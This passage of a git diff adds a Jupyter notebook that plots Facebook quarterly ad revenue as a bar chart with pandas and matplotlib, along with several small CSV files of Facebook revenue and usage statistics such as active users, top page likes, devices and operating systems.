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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\Facebook Revenue Statistics\\RFB3.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='x', color='r')\n", + "plt.xlabel(\"Quarter\")\n", + "plt.ylabel(\"FB ad revenue $ USD\")\n", + "plt.barh(x,y,color='b')\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.6" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB1.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB1.csv new file mode 100644 index 00000000..5eeb0805 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB1.csv @@ -0,0 +1,36 @@ +Quarter,Facebook revenue(USD millions) +Q2 2012,1184 +Q3 2012,1262 +Q4 2012,1585 +Q1 2013,1458 +Q2 2013,1813 +Q3 2013,2016 +Q4 2013,2585 +Q1 2014,2502 +Q2 2014,2910 +Q3 2014,3203 +Q4 2014,3851 +Q1 2015,3543 +Q2 2015,4041 +Q3 2015,4501 +Q4 2015,5841 +Q1 2016,5382 +Q2 2016,6436 +Q3 2016,7011 +Q4 2016,8809 +Q1 2017,8032 +Q2 2017,9321 +Q3 2017,10328 +Q4 2017,12972 +Q1 2018,11966 +Q2 2018,13231 +Q3 2018,13727 +Q4 2018,16914 +Q1 2019,15077 +Q2 2019,16886 +Q3 2019,17652 +Q4 2019,21082 +Q1 2020,17737 +Q2 2020,18687 +Q3 2020,21470 +Q4 2020,28072 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB2.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB2.csv new file mode 100644 index 00000000..a067c04d --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB2.csv @@ -0,0 +1,10 @@ +Year,Facebook revenue(USD millions) +2012,5089 +2013,7872 +2014,12466 +2015,17928 +2016,27638 +2017,40653 +2018,55838 +2019,70697 +2020,85965 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB3.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB3.csv new file mode 100644 index 00000000..2049cedd --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Revenue Statistics/RFB3.csv @@ -0,0 +1,36 @@ +Quarter,Facebook ad revenue(USD millions) +Q2 2012,992 +Q3 2012,1086 +Q4 2012,1329 +Q1 2013,1245 +Q2 2013,1599 +Q3 2013,1798 +Q4 2013,2344 +Q1 2014,2265 +Q2 2014,2676 +Q3 2014,2957 +Q4 2014,3594 +Q1 2015,3317 +Q2 2015,3827 +Q3 2015,4299 +Q4 2015,5637 +Q1 2016,5201 +Q2 2016,6239 +Q3 2016,6816 +Q4 2016,8629 +Q1 2017,7857 +Q2 2017,9164 +Q3 2017,10142 +Q4 2017,12779 +Q1 2018,11795 +Q2 2018,13038 +Q3 2018,13539 +Q4 2018,16640 +Q1 2019,14912 +Q2 2019,16624 +Q3 2019,17383 +Q4 2019,20736 +Q1 2020,17440 +Q2 2020,18321 +Q3 2020,21221 +Q4 2020,27187 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB1.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB1.csv new file mode 100644 index 00000000..98fb98ea --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB1.csv @@ -0,0 +1,45 @@ +Quarter,Monthly_active_users(millions) +Q1 2010,431 +Q2 2010,482 +Q3 2010,550 +Q4 2010,608 +Q1 2011,680 +Q2 2011,739 +Q3 2011,800 +Q4 2011,845 +Q1 2012,901 +Q2 2012,955 +Q3 2012,1007 +Q4 2012,1056 +Q1 2013,1110 +Q2 2013,1155 +Q3 2013,1189 +Q4 2013,1228 +Q1 2014,1276 +Q2 2014,1317 +Q3 2014,1350 +Q4 2014,1393 +Q1 2015,1441 +Q2 2015,1490 +Q3 2015,1545 +Q4 2015,1591 +Q1 2016,1654 +Q2 2016,1712 +Q3 2016,1788 +Q4 2016,1860 +Q1 2017,1936 +Q2 2017,2006 +Q3 2017,2072 +Q4 2017,2129 +Q1 2018,2196 +Q2 2018,2234 +Q3 2018,2271 +Q4 2018,2320 +Q1 2019,2375 +Q2 2019,2414 +Q3 2019,2449 +Q4 2019,2498 +Q1 2020,2603 +Q2 2020,2701 +Q3 2020,2740 +Q4 2020,2797 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB10.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB10.csv new file mode 100644 index 00000000..a8d7ee68 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB10.csv @@ -0,0 +1,8 @@ +Date,Percentage_using_Facebook +Aug-12,54 +Sep-13,57 +Sep-14,58 +Apr-15,62 +Apr-16,68 +Jan-18,64 +Feb-19,69 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB11.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB11.csv new file mode 100644 index 00000000..b27fbd8c --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB11.csv @@ -0,0 +1,21 @@ +Page,Likes(millions) +Facebook App,209 +Samsung,161 +Cristiano Ronaldo,125 +CGTN,116 +Real Madrid CF,111 +Shakira,111 +Coca-Cola,107 +Will Smith,105 +Vin Diesel,105 +China Daily,103 +FC Barcelona,103 +Leo Messi,102 +Tasty,98 +Rihanna,96 +Eminem,91 +China Xinhua News,89 +YouTube,86 +People’s Daily_China,86 +Mr Bean,86 +McDonald’s,79 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB12.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB12.csv new file mode 100644 index 00000000..423b14cc --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB12.csv @@ -0,0 +1,5 @@ +Frequency_of_usage,% of_users +Daily,73 +Weekly,20 +Monthly,5 +Less,2 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB13.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB13.csv new file mode 100644 index 00000000..86a06082 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB13.csv @@ -0,0 +1,4 @@ +Device(s)_used_to_access_Facebook,Percentage of users +Desktop only,1.7 +Mobile and Desktop,17.3 +Mobile only,81 diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB14.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB14.csv new file mode 100644 index 00000000..1aabffb8 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB14.csv @@ -0,0 +1,4 @@ +Operating system used to access Facebook,Percentage of users +Android,80.7 +iOS,14.7 +Other,4.6 \ No newline at end of file diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB15.csv b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Usage Statistics/FB15.csv new file mode 100644 index 00000000..6bd8b13a --- /dev/null +++ b/SOCIAL MEDIA DATA 